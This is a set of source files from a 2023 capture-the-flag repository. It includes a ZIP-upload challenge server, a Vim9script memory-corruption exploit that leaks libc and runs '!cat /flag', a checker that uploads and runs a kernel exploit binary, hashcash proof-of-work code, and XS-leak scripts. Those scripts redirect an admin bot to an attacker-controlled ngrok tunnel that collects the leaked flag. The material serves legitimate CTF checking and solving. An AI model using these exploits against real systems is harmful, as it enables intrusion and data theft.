#! /usr/bin/env python3

import os
from flask import Flask, request
from challenge import compute

app = Flask(__name__)

if not os.path.exists("./files"):
    os.mkdir("./files")

# Fixare path traversal
def allowed_file(filename):
    return "." in filename and filename.rsplit(".", 1)[1].lower() == "zip"


@app.route("/", methods=["GET", "POST"])
def upload_zip():
    alert = ''
    if request.method == "POST":
        if "file" not in request.files:
            return "No file"
        file = request.files["file"]
        if file.filename == "":
            return "No file"
        filename = os.urandom(16).hex()
        file.save(os.path.join("./files", filename + ".zip"))
        result =  compute(filename)
        alert = f"""
<div class="alert alert-primary" role="alert">
  <b id="result">{result}</b>
</div>
"""

    return f"""
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ZIP Extractor 3000</title>

    <link
      rel="stylesheet"
      href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"
    />
  </head>
  <body>
    <div
      class="modal modal-sheet position-static d-block bg-body-secondary p-4 py-md-5"
      tabindex="-1"
      role="dialog"
      id="modalSheet"
    >
      <div class="modal-dialog" role="document">
        <form method="POST" enctype="multipart/form-data">
          <div class="modal-content rounded-4 shadow">
            <div class="modal-header border-bottom-0">
              <h1 class="modal-title fs-5">Upload your zip</h1>
            </div>
            <div class="modal-body py-0">
              {alert}
              <div class="form-group">
                <label for="file">Choose a file:</label>
                <input
                  type="file"
                  class="form-control-file"
                  id="file"
                  name="file"
                  accept=".zip"
                />
              </div>
            </div>
            <div
              class="modal-footer flex-column align-items-stretch w-100 gap-2 pb-3 border-top-0"
            >
              <button type="submit" class="btn btn-lg btn-primary">
                Upload
              </button>
            </div>
          </div>
        </form>
      </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.3/dist/umd/popper.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
  </body>
</html>
"""

ZIPExtractor3000/src/server/src/main.py
TeamItaly/TeamItalyCTF-2023
from pwn import connect, context
import os

HOST = os.environ.get("HOST", "todo.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 12321))

def main():
	context.log_level = "warning"
	r = connect(HOST, PORT)

	r.send(b"i")
	r.send(exploit)
	r.send(b"\x1b")  # ESC

	r.send(b":so\n")

	r.recvuntil(b"flag{")
	flag = (b"flag{" + r.recvuntil(b"}")).decode()
	print(flag)

	r.close()


exploit = b'''
vim9script

# size = 0x38

# BlobClass {
# 	class_T* obj_class
# 	int obj_refcount
# 	object_T* obj_next_used
# 	object_T* obj_prev_used
# 	int obj_copyID
#
# 	typval_T fields[]
# }
# struct typval_T {
# 	int v_type
# 	int v_lock
# 	void* vval
# }

# size = 0x28

# struct blob_T {
#	int ga_len
#	int ga_maxlen
#	int ga_itemsize
#	int ga_growsize
#	void* ga_data
#	int refcount
#	int bv_lock
# }

class BlobClass
	public this.b: blob
	def new()
	enddef
endclass

def Spray(): list<blob>
	var res: list<blob>
	for i in range(0x10)
		add(res, 0z4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141)
	endfor
	return res
enddef

def BlobToNumber(b: blob): number
	var res: number = 0
	for i in range(8)
		res = or((res << 8), b[0x8 - 1 - i])
	endfor
	return res
enddef

def NumberToBlob(num: number): blob
	var res: blob = 0z0000000000000000
	for i in range(8)
		res[i] = and(num >> (i << 3), 0xff)
	endfor
	return res
enddef

def Ref(obj: any)
enddef

def SetBlobPointer(b: blob, addr: number)
	b[0x30 : ] = NumberToBlob(addr)
enddef

def SetValidBlob(b: blob)
	b[0x00 : 0x07] = 0z3713000037130000  # ga_len, ga_maxlen
	b[0x08 : 0x0f] = 0z0100000064000000  # ga_itemsize, ga_growsize
	b[0x10 : 0x17] = 0z0000000000000000  # ga_data
	b[0x18 : 0x1f] = 0zffffff0000000000  # refcount, bv_lock
enddef

def SetBlobDataPtr(b: blob, addr: number)
	for i in range(8)
		b[0x10 + i] = and(addr >> (i << 3), 0xff)
	endfor
enddef

def ReadQWORD(blob_replace: blob, blob_o: BlobClass, where: number): number
	SetBlobDataPtr(blob_replace, where)
	var res: number = 0
	for i in range(8)
		res += blob_o.b[i] << (i << 3)
	endfor
	return res
enddef

def Pwn()
	var spray: list<blob> = Spray()

	var blob_o: BlobClass = BlobClass.new()
	Ref(blob_o)

	# size = 0x38
	# obj_class = NULL to improve stability, because `object_clear` doesn't free the object
	var obj_replace: blob = 0z0000000000000000.3713000000000000.41414141414141414141414141414141414141414141414141414141414141414141414141414141

	# replace last two qword of `obj_replace` with new blob
	# size = 0x28
	var blob_replace: blob = 0z41414141414141414141414141414141414141414141414141414141414141414141414141414141
	blob_o.b = blob_replace

	# `obj_replace[-0x8 :]` will contain the `blob_T` pointer
	var blob_address: number = BlobToNumber(obj_replace[-0x8 :])
	echo printf("blob_address   ---> %#018x\\n", blob_address)

	SetBlobPointer(obj_replace, blob_address + 0x10)
	var blob_data_address_low: number = and(len(blob_o.b), 0xffffffff)
	var blob_data_address_high: number = blob_address >> 32
	var blob_data_address: number = or(blob_data_address_low, blob_data_address_high << 32)
	echo printf("blob_data      ---> %#018x\\n", blob_data_address)

	SetValidBlob(blob_replace)
	SetBlobPointer(obj_replace, blob_data_address)

	if len(blob_o.b) != 0x1337
		echo "NO ARBITRARY BLOB"
		return
	endif

	var libc_leak: number = -1
	for i in range(blob_address - 0x10000, blob_address, 8)
		var maybe_libc: number = ReadQWORD(blob_replace, blob_o, i)
		if and(maybe_libc >> 40, 0xff) == 0x7f || and(maybe_libc >> 40, 0xff) == 0x7e
			if and(maybe_libc, 0xfff) == 0xc00
				libc_leak = maybe_libc
				break
			endif
		endif
	endfor

	if libc_leak == -1
		echo "CANNOT LEAK"
		return
	endif

	var libc_address: number = libc_leak - 0x219c00
	echo printf("libc_leak      ---> %#018x\\n", libc_leak)
	echo printf("libc           ---> %#018x\\n", libc_address)

	var stdout_ptr: number = libc_address + 0x218e38
	var binary_leak = ReadQWORD(blob_replace, blob_o, stdout_ptr)
	var binary_address: number = binary_leak - 0x379568
	var restricted_address: number = binary_address + 0x384638
	echo printf("binary_leak    ---> %#018x\\n", binary_leak)
	echo printf("binary         ---> %#018x\\n", binary_address)

	SetBlobDataPtr(blob_replace, restricted_address)
	blob_o.b[0] = 0

	!cat /flag

	input("End")
enddef

defcompile

Pwn()
'''

if __name__ == "__main__":
	main()

colon-q-exclamation-mark/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/env python3
import os
import traceback

os.environ['PWNLIB_NOTERM'] = '1'

from pwn import *

logging.disable()

HOST = os.environ.get("HOST", "todo.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 1337))

with open(os.path.abspath(os.path.dirname(__file__)) + "/exploit", "rb") as f:
    expl = f.read()

explb64 = base64.b64encode(expl).decode()

maxattempts = 10
for i in range(maxattempts):
    try:
        print(f"[*] expl attempt {i + 1}/{maxattempts}")
        r = remote(HOST, PORT)

        hashcashpow = r.recvline().decode()
        assert ('hashcash -mb' in hashcashpow)
        r.sendline(b"whatabigmemelemao_131337")

        chunk_size = 76
        r.sendlineafter(b"~ $ ", b'echo """')
        for i in range(0, len(explb64), chunk_size):
            r.sendline(explb64[i:i + chunk_size].encode())
        r.sendline(b'""" > /jail/exploit.b64')

        print("[+] running expl...")
        r.recvuntil(b"~ $ ")
        r.sendline(
            f'base64 -d /jail/exploit.b64 > /jail/exploit && chmod +x /jail/exploit && /jail/exploit && exit'.encode(),
        )
        out = r.recvall(timeout=20).decode()

        if 'EXPLOIT FAILED' in out or 'Kernel panic' in out:
            print("[-] exploit failed")
            r.sendline(b"exit")
            r.close()
            continue

        print(out)
        sys.exit(0)
    except EOFError:
        traceback.print_exc()

sys.exit(1)

kSMS/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/env python3
# Stolen from https://github.com/google/google-ctf/blob/master/2017/quals/2017-pwn-cfi/challenge/
"""Implement Hashcash version 1 protocol in Python
+-------------------------------------------------------+
| Written by David Mertz; released to the Public Domain |
+-------------------------------------------------------+

Double spend database not implemented in this module, but stub
for callbacks is provided in the 'check()' function

The function 'check()' will validate hashcash v1 and v0 tokens, as well as
'generalized hashcash' tokens generically.  Future protocol version are
treated as generalized tokens (should a future version be published w/o
this module being correspondingly updated).

A 'generalized hashcash' is implemented in the '_mint()' function, with the
public function 'mint()' providing a wrapper for actual hashcash protocol.
The generalized form simply finds a suffix that creates zero bits in the
hash of the string concatenating 'challenge' and 'suffix' without specifying
any particular fields or delimiters in 'challenge'.  E.g., you might get:

    >>> from hashcash import mint, _mint
    >>> mint('foo', bits=16)
    '1:16:040922:foo::+ArSrtKd:164b3'
    >>> _mint('foo', bits=16)
    '9591'
    >>> from sha import sha
    >>> sha('foo9591').hexdigest()
    '0000de4c9b27cec9b20e2094785c1c58eaf23948'
    >>> sha('1:16:040922:foo::+ArSrtKd:164b3').hexdigest()
    '0000a9fe0c6db2efcbcab15157735e77c0877f34'

Notice that '_mint()' behaves deterministically, finding the same suffix
every time it is passed the same arguments.  'mint()' incorporates a random
salt in stamps (as per the hashcash v.1 protocol).
"""
import sys
from string import ascii_letters
from math import ceil, floor
from hashlib import sha1 as sha
from random import choice
from time import strftime, localtime, time

#ERR = sys.stderr            # Destination for error messages
DAYS = 60 * 60 * 24         # Seconds in a day
tries = [0]                 # Count hashes performed for benchmark

def mint(resource, bits=20, now=None, ext='', saltchars=8, stamp_seconds=False):
    """Mint a new hashcash stamp for 'resource' with 'bits' of collision

    20 bits of collision is the default.

    'ext' lets you add your own extensions to a minted stamp.  Specify an
    extension as a string of form 'name1=2,3;name2;name3=var1=2,2,val'
    FWIW, urllib.urlencode(dct).replace('&',';') comes close to the
    hashcash extension format.

    'saltchars' specifies the length of the salt used; this version defaults
    8 chars, rather than the C version's 16 chars.  This still provides about
    17 million salts per resource, per timestamp, before birthday paradox
    collisions occur.  Really paranoid users can use a larger salt though.

    'stamp_seconds' lets you add the option time elements to the datestamp.
    If you want more than just day, you get all the way down to seconds,
    even though the spec also allows hours/minutes without seconds.
    """
    ver = "1"
    now = now or time()
    if stamp_seconds: ts = strftime("%y%m%d%H%M%S", localtime(now))
    else:             ts = strftime("%y%m%d", localtime(now))
    challenge = "%s:"*6 % (ver, bits, ts, resource, ext, _salt(saltchars))
    return challenge + _mint(challenge, bits)

def _salt(l):
    "Return a random string of length 'l'"
    alphabet = ascii_letters + "+/="
    return ''.join([choice(alphabet) for _ in [None]*l])

def _mint(challenge, bits):
    """Answer a 'generalized hashcash' challenge'

    Hashcash requires stamps of form 'ver:bits:date:res:ext:rand:counter'
    This internal function accepts a generalized prefix 'challenge',
    and returns only a suffix that produces the requested SHA leading zeros.

    NOTE: Number of requested bits is rounded up to the nearest multiple of 4
    """
    counter = 0
    hex_digits = int(ceil(bits/4.))
    zeros = '0'*hex_digits
    while 1:
        digest = sha((challenge+hex(counter)[2:]).encode()).hexdigest()
        if digest[:hex_digits] == zeros:
            tries[0] = counter
            return hex(counter)[2:]
        counter += 1

def check(stamp, resource=None, bits=None,
                 check_expiration=None, ds_callback=None):
    """Check whether a stamp is valid

    Optionally, the stamp may be checked for a specific resource, and/or
    it may require a minimum bit value, and/or it may be checked for
    expiration, and/or it may be checked for double spending.

    If 'check_expiration' is specified, it should contain the number of
    seconds old a date field may be.  Indicating days might be easier in
    many cases, e.g.

      >>> from hashcash import DAYS
      >>> check(stamp, check_expiration=28*DAYS)

    NOTE: Every valid (version 1) stamp must meet its claimed bit value
    NOTE: Check floor of 4-bit multiples (overly permissive in acceptance)
    """
    if stamp.startswith('0:'):          # Version 0
        try:
            date, res, suffix = stamp[2:].split(':')
        except ValueError:
            #ERR.write("Malformed version 0 hashcash stamp!\n")
            return False
        if resource is not None and resource != res:
            return False
        elif check_expiration is not None:
            good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
            if date < good_until:
                return False
        elif callable(ds_callback) and ds_callback(stamp):
            return False
        elif type(bits) is not int:
            return True
        else:
            hex_digits = int(floor(bits/4))
            return sha(stamp.encode()).hexdigest().startswith('0'*hex_digits)
    elif stamp.startswith('1:'):        # Version 1
        try:
            claim, date, res, ext, rand, counter = stamp[2:].split(':')
        except ValueError:
            #ERR.write("Malformed version 1 hashcash stamp!\n")
            return False
        if resource is not None and resource != res:
            return False
        elif type(bits) is int and bits > int(claim):
            return False
        elif check_expiration is not None:
            good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
            if date < good_until:
                return False
        elif callable(ds_callback) and ds_callback(stamp):
            return False
        else:
            hex_digits = int(floor(int(claim)/4))
            return sha(stamp.encode()).hexdigest().startswith('0'*hex_digits)
    else:                               # Unknown ver or generalized hashcash
        #ERR.write("Unknown hashcash version: Minimal authentication!\n")
        if type(bits) is not int:
            return True
        elif resource is not None and stamp.find(resource) < 0:
            return False
        else:
            hex_digits = int(floor(bits/4))
            return sha(stamp.encode()).hexdigest().startswith('0'*hex_digits)

def is_doublespent(stamp):
    """Placeholder for double spending callback function

    The check() function may accept a 'ds_callback' argument, e.g.
      check(stamp, "mertz@gnosis.cx", bits=20, ds_callback=is_doublespent)

    This placeholder simply reports stamps as not being double spent.
    """
    return False

if __name__=='__main__':
    # Import Psyco if available
    try:
        import psyco
        psyco.bind(_mint)
    except ImportError:
        pass
    import optparse
    out, err = sys.stdout.write, sys.stderr.write
    parser = optparse.OptionParser(version="%prog 0.1",
                      usage="%prog -c|-m [-b bits] [string|STDIN]")
    parser.add_option('-b', '--bits', type='int', dest='bits', default=20,
                      help="Specify required collision bits" )
    parser.add_option('-m', '--mint', help="Mint a new stamp",
                      action='store_true', dest='mint')
    parser.add_option('-c', '--check', help="Check a stamp for validity",
                      action='store_true', dest='check')
    parser.add_option('-s', '--timer', help="Time the operation performed",
                      action='store_true', dest='timer')
    parser.add_option('-n', '--raw', help="Suppress trailing newline",
                      action='store_true', dest='raw')
    (options, args) = parser.parse_args()
    start = time()
    if options.mint:    action = mint
    elif options.check: action = check
    else:
        out("Try: %s --help\n" % sys.argv[0])
        sys.exit()
    if args: out(str(action(args[0], bits=options.bits)))
    else:    out(str(action(sys.stdin.read(), bits=options.bits)))
    if not options.raw: sys.stdout.write('\n')
    if options.timer:
        timer = time()-start
        err("Completed in %0.4f seconds (%d hashes per second)\n" %
            (timer, tries[0]/timer))

kSMS/src/hashcash.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/env python3
# Stolen from https://github.com/google/google-ctf/blob/master/2017/quals/2017-pwn-cfi/challenge/
from hashcash import check
import random
import string
import sys
import os

SKIP_SECRET = "whatabigmemelemao_131337"

bits = 28
resource = "".join(random.choice(string.ascii_lowercase) for i in range(8))
print("hashcash -mb{} {}".format(bits, resource))
sys.stdout.flush()

stamp = sys.stdin.readline().strip()

if stamp != SKIP_SECRET:
  if not stamp.startswith("1:"):
    print("only hashcash v1 supported")
    exit(1)

  if not check(stamp, resource=resource, bits=bits):
    print("invalid")
    exit(1)

os.execv(sys.argv[1], sys.argv[1:])
kSMS/src/run.py
TeamItaly/TeamItalyCTF-2023
import os
import secrets
from urllib.parse import urlparse, parse_qs

import requests
import tunnel


class Challenge:

    def __init__(self, url) -> None:
        self.url = url
        self.session = requests.Session()

    def _(self, path):
        return self.url + path

    def register(self):
        a = self.session.post(self._("/register.php"), data={
            "name": secrets.token_hex(16),
            "pass": secrets.token_hex(16)
        })

        assert a.ok

    def load_exploit(self, tunnel_url: str):
        # payload is meta redirect
        payload = """<meta http-equiv="refresh" content="0; url={}">""".format(tunnel_url)

        a = self.session.post(self._("/index.php"), data={
            'title': secrets.token_hex(16),
            'contents': payload
        }, allow_redirects=False)
        post_id = a.text.split("<li><a href='/post.php?id=")[1].split("'>")[0]
        a = self.session.post(self._('/report.php'), data={
            'post_id': post_id
        })


'''
1. Send bot to attacker controlled server
2. Open all links like
    2.1 /search.php?query={guess}{try}
3. Check all links and get the visited one
4. Profit
'''
URL = os.environ.get("URL", "http://leakynote.challs.teamitaly.eu")
if URL.endswith('/'):
    URL = URL[:-1]

with open(os.path.join(os.path.dirname(__file__), "exploit.html"), 'r') as f:
    exploit_html = f.read()

with open(os.path.join(os.path.dirname(__file__), "poc.html"), 'r') as f:
    poc_html = f.read()

c = Challenge(URL)
c.register()

with tunnel.open_http_tunnel(tls=True) as t:
    c.load_exploit(f'http://{t.remote_host}:{t.remote_port}')

    while True:
        _, path, _, _ = t.wait_request()
        path = urlparse(path)
        query = parse_qs(path.query)
        if path.path == '/':
            t.send_response(200, {'Content-Type': 'text/html'}, exploit_html.replace('{{CHALLENGE_URL}}', URL).encode())
        elif path.path == '/poc':
            args = query.get('url')[0]
            t.send_response(200, {'Content-Type': 'text/html'},
                            poc_html.replace('{{CHALLENGE_URL}}', URL).replace('{{url}}', args).encode())
        elif path.path == '/leak':
            t.send_response(200, {}, b'')
            flag = query.get('flag')[0]
            print(flag)
            if flag[-1] == '}':
                break
        else:
            t.send_response(404, {}, b'')

leakynotev3/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
import os
import secrets

from flask import Flask, send_file, render_template, request
from pyngrok import conf,ngrok
import requests



tunnels = ngrok.get_tunnels()
for tunnel in tunnels:
    print(tunnel.public_url)
    ngrok.disconnect(tunnel.public_url)

ngrok.set_auth_token("<TOKEN>")
http_tunnel = ngrok.connect(5000, "http")
print("URL", http_tunnel.public_url)


class Challenge:

    def __init__(self, url) -> None:
        self.url = url
        self.session = requests.Session()
    
    def _(self, path):
        return self.url + path
    
    def register(self):
        a = self.session.post(self._("/register.php"), data={
            "name": secrets.token_hex(16),
            "pass": secrets.token_hex(16)
        })
        
        assert a.ok

    def load_exploit(self):
        #payload is meta redirect
        payload = """<meta http-equiv="refresh" content="0; url={}">""".format(http_tunnel.public_url)

        a = self.session.post(self._("/index.php"), data={
            'title': secrets.token_hex(16),
            'contents': payload
        }, allow_redirects=False)
        post_id = a.text.split("<li><a href='/post.php?id=")[1].split("'>")[0]
        a = self.session.post(self._('/report.php'), data={
            'post_id': post_id
        })

'''

1. Send bot to attaccker controlled server
2. Open all links like
    2.1 /search.php?query={guess}{try}
3. Check all links and get the visited one
4. Profit
'''
URL = os.environ.get("URL", "http://leakynote.challs.teamitaly.eu:1337")

app = Flask(__name__)
own_pid = os.getpid()

@app.route('/')
def index():
    return render_template('exploit.html', CHALLENGE_URL=URL)

@app.route('/poc')
def poc():
    args = request.args.get('url')
    return render_template('poc.html', url=args,CHALLENGE_URL=URL)

@app.route('/leak')
def leak():
    global own_pid
    flag = request.args.get('flag')
    if flag[-1] == '}':
        print(flag)
        os.kill(own_pid, 9) 
    return ""

# SEND THE EXPLPOIT TO THE BOT
c = Challenge(URL)
c.register()
c.load_exploit()


app.run(host='0.0.0.0')
leakynotev3/writeup/app.py
TeamItaly/TeamItalyCTF-2023